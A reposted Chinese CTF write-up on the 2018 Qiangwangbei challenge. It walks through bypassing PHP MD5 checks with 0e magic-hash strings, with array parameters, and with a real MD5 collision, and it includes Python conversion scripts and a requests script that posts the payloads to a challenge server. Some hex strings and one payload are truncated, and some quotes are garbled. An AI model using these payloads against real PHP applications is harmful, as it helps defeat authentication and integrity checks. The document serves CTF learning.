ctf php弱类型md5,md5弱类型和强碰撞

转载

e o 于 2021-03-23 17:17:12 发布 528 收藏
文章标签： ctf php弱类型md5

以2018强网杯为例子

关卡一

image.png

image.png

md5弱比较，为0e开头的会被识别为科学记数法，结果均为0

payload

param1=QNKCDZO&param2=aabg7XSs

关卡二

image.png

image.png

md5强比较，此时如果传入的两个参数不是字符串，而是数组，md5()函数无法解出其数值，而且不会报错，就会得到===强比较的值相等

payload

param1[]=111&param2[]=222

关卡三

image.png

image.png

真实md5碰撞，因为此时不能输入数组了，只能输入字符串

image.png

这两串比较像的hex形式的bin文件，其md5是相同的

给出将这两串hex字符串转化为bin文件的代码，其实就是将hex字符串转化为ascii字符串，并写入文件

image.png

hex2bin.py

```
#!coding:utf-8

hexString1 =
'4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35

hexString2 =
'4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35

hexList1 = []

intList1 = []

asciiString1 ="

while True:

intString1 = hexString1[0:2]

hexString1 = hexString1[2:]

hexList1.append(intString1)

if (hexString1 == "):

break

for i in hexList1:

intList1.append(int(i,16))

for j in intList1:

asciiString1 += chr(int(j))

f = open('1.bin','w')

f.write(asciiString1)

f.close()

hexList2 = []

intList2 = []

asciiString2 ="

while True:

intString2 = hexString2[0:2]

hexString2 = hexString2[2:]
```

```
hexList2.append(intString2)
if (hexString2 == ''):
break
for i in hexList2:
intList2.append(int(i,16))
for j in intList2:
asciiString2 += chr(int(j))
f = open('2.bin','w')
f.write(asciiString2)
f.close()
```

考虑到要将一些不可见字符传到服务器，这里可以使用url编码

image.png

urlencode.py

```
#!coding:utf-8
import urllib
urlString1=''
urlString2 = ''
for line in open('1.bin'):
urlString1 += urllib.quote(line)
for line in open('2.bin'):
urlString2 += urllib.quote(line)
print urlString1
print urlString2
```

payload

```
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x
```

image.png

这里也可以直接用python调用open并读取文件来传参

image.png

```
import requests

url = 'http://39.107.33.96:10000/'

S = requests.Session()

p1 = 'QNKCDZO'

p2 = 'aabg7XSs'

data = {'param1':p1,'param2':p2}

r = S.post(url,data = data)

print r.text

p1 = '111'

p2 = '222'

data = {'param1[]':p1,'param2[]':p2}

r = S.post(url,data = data)

print r.text

p1 = open('1.bin')

p2 = open('2.bin')

data = {'param1':p1,'param2':p2}

r = S.post(url,data = data)

print r.text
```